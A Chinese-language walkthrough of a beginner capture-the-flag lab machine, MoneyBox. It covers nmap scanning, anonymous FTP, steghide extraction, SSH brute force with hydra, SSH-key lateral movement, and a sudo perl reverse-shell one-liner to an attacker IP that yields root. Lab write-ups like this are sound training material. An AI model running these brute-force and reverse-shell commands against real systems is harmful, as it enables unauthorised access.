第一次打靶
靶机介绍(1)靶机名称:1-Free-MoneyBox
(2)难度级别:低
(3)靶机来源:vulhub
(4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶过程
(1)启动靶机后,无法通过用户名和密码直接登入至靶机
(2)默认情况并不知道靶机的IP地址,因靶机采用仅主机方式与物理机连接,查看到物理机仅主机网卡名称为VirtualBox Host-Only Network
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122172333264-408783930.png
(3)查找靶机地址
法一:使用命令arp-scan扫描网卡vboxnet0所在网段的所有的IP地址(适用于Linux操作系统)
#sudo arp-scan -I vboxnet0 -l
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173713848-24097388.png
法二:通过nmap -sP扫描192.168.56.0/24断存活主机
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173745031-426027035.png
(4)使用nmap扫描改IP开放的所有端口
#sudo nmap -p- 192.168.56.102
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173641817-772408563.png
通过扫描发现,该靶机开放三个端口,21、22、80
(5)对每一个端口进行工作服务的指纹扫描(应用服务版本信息等)
#sudo nmap -p21,22,80 -sV 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173807288-1741608256.png
扫描发现21端口运行vsftpd,22端口运行OpenSSH7.9p1版本,且目标服务器操作系统为Debian,80端口运行Apache httpd2.4.38
(6)对每一个端口进行脚本扫描
①对21端口进行脚本扫描(即调用nmap针对ftp服务的默认扫描的脚本)
#sudo nmap -p21 -sC 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173847561-1685119190.png
通过扫描发现,该靶机21端口ftp服务存在一个匿名登录的漏洞(即不需要输入账号密码或者只需要输入Anonymous用户即可登陆至ftp服务器)
②对22端口ssh服务进行脚本扫描(即调用namp针对ssh服务的默认扫描的脚本)
#sudo nmap -p22 -sC 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122173916870-544528599.png
该扫描结果,并未发现ssh服务在配置和应用上的漏洞,只是发现了加密的key
③对80端口httpd服务进行脚本扫描(即调用namp针对httpd服务的默认扫描的脚本)
#sudo nmap -p80 -sC 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122175354380-162076111.png
该扫描结果,并未发现httpd服务在配置和应用上的漏洞,只是发现了http的title信息为MoneyBox
总结:通过对三个端口扫描发现,只有ftp服务的漏洞类型是最明显的,所以先用ftp命令登陆至目标服务器
7)通过匿名用户登录目标服务器(用户名和密码都输入anonymous)
#ftp 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174003457-228050129.png
8)查看当前ftp服务器都有哪些文件
ftp>lshttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174023664-1799923485.png
通过ls发现一张名字为trytofind.jpg的文件,似乎是在提示我们去找写什么东西
9)将图片下载下来
ftp>get trytofind.jpghttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174043302-23912359.png
10)最后,可以测试,是否可以通过ftp直接跳转到操作系统的其他路径
ftp>cd /
ftp>pwdhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174100915-632671101.png
通过测试发现,仍然在当前路径,无法直接跳转到操作系统其他路径
11)退出ftp
ftp>exithttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174120658-591311627.png
12)通过图片查看工具gwenview打开图片(打开图片需要仔细观察这张图片有没有什么可用的信息)
#gwenview trytofind.jpghttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174138725-440096376.png
通过图片未观察到什么有用的信息
12)一般渗透攻击的初期是慎用暴力破解密码攻击的,因为密码破解过程中,会大量向服务器发送数据包,容易引起服务器端的警觉,引起系统管理员的怀疑
13)通过开发的80端口,访问web页面是否有有用的信息
浏览器:http://192.168.56.102/https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174211076-1326104638.png
该界面看不到什么有用的信息,同时查看页面源代码也没有发现什么有用的信息
14)通过目录扫描工具dirsearch -u 对靶机站点进行扫描
#dirsearch -u http://192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174228259-525724741.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174239367-19756749.png
通过扫描发现一个http://192.168.56.102/blogs/站点,对其进行访问
15)访问上一步发现的站点http://192.168.56.102/blogs/
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174423348-680253160.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174435476-1976725959.png
查看页面未发现任何有价值的东西,查看源代码,在最下面48行发现提示:the hint is the another secret directory is S3cr3t-T3xt(这个提示是另外一个秘密的目录S3cr3t-T3xt)
16)访问这个目录
http://192.168.56.102/S3cr3t-T3xt/https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174452444-183348572.png
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174502055-166913028.png
查看源代码,发现一个密钥:Secret Key 3xtr4ctd4t4,该密钥是做什么用的现在还不得而知
总结:做完以上操作,似乎攻击渗透进入了瓶颈期,此时可以尝试一下ssh的暴力破解
17)先使用nmap针对ssh暴力破解的脚本ssh-brute,挂载一个用户名字典,挂载一个密码字典
#nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.56.102https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174517153-595427178.png
未能暴力破解出root密码
18)在Kali上使用工具对下载下来的图片进行信息搜集
①先使用strings命令查看图片上面是否有可打印的字符,也许字符中会泄露一些机密信息
#strings trytofind.jpg查看图片头部发现一些并不应该出现的字符,此时不得不怀疑,该图片有可能使用隐写术的方式隐藏着某些机密的内容
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174539989-65364193.png
②使用隐写术解密工具steghide访问该图片
#steghide info trytofind.jpghttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174554017-1294100693.png
输入命令时,提示是否尝试获取图片中确定的数据,选择yes,此时需要输入密码才能解出嵌入到图片中的数据,此时可以通过使用web页面中给出的密钥(碰碰运气),发现了图片中嵌入的数据为“data.txt”
③使用隐写术解密工具steghide榨取信息的参数extract,提取嵌入到图片中的文件“data.txt“
steghide extract -sf trytofind.jpghttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174608921-1254221815.png
18)查看从图片中榨取出的数据”data.txt“
#cat data.txthttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174625235-1317632642.png
从文件内容可知目标系统存在一个nenu的用户,且该用户密码很弱
19)此时通过密码破解工具hydry对renu用户进行破解
#echo renu >user.txt
#hydra -l renu -P rockyou.txt 192.168.56.102 sshhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174644604-1401142565.png
通过hydra破解出renu用户密码为987654321
20)尝试使用renu用户及密码通过ssh服务登录目标服务器
#ssh renu@192.168.56.102
#idhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174700129-1986725563.png
21)登录成功后,查看nenu用户是否有sudo权限
$sudo -s #输入的密码为sudo密码,即renu密码
$uname -ahttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174714549-2060296770.png
通过sudo -s发现renu用户不在sudoers 文件中
22)查看历史命令,是否有可用信息
$historyhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174730242-1222218572.png
通过历史命令发现,目标主机还有一个lily用户,并且renu对lily用户做了免密登录(即renu用户不需要密码直接登陆至lily用户)
23)查看renu用户公钥文件
$cd ./ssh
$ls
$cat id_rsa.pubhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174744628-2048743102.png
24)尝试进入lily用户的家目录
$cd /home/lily
$ls
$cat /user2.txt
$cd /home/lily/.ssh
#ls
#cat authorized_keyshttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174758784-782700516.png
直接获取到了lily用户的flag文件,同时在lily用户的.ssh目录下发现了renu用户的公钥
25)通过ssh,查看是否可直接通过renu用户免密登录至lily用户
$ssh lily@127.0.0.1
$idhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174818558-871661265.png
26)查看lily用户是否具有sodu权限
$sudo -shttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174835710-608671422.png
此时需要输入lily用户的密码,我们不知道lily用户密码,所以无法直接通过sudo提升至root
27)通过查看lily用户的history命令,查看是否有可用信息
$history查看到lily用户输入过sudo -l命令,该命令主要是列出sudo权限命令
https://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174906206-31026775.png
28)通过sudo -l查看到了lily用户的sudo权限
$sudo -lhttps://img2022.cnblogs.com/blog/2180585/202211/2180585-20221122174920778-113475903.png
查看到perl命令可不需要root用户也可以执行该命令
29)通过perl命令进行反弹shell,获取到root权限
lily@MoneyBox:~$ sudo perl -e 'use Socket;$i="192.168.56.103";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'(root
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]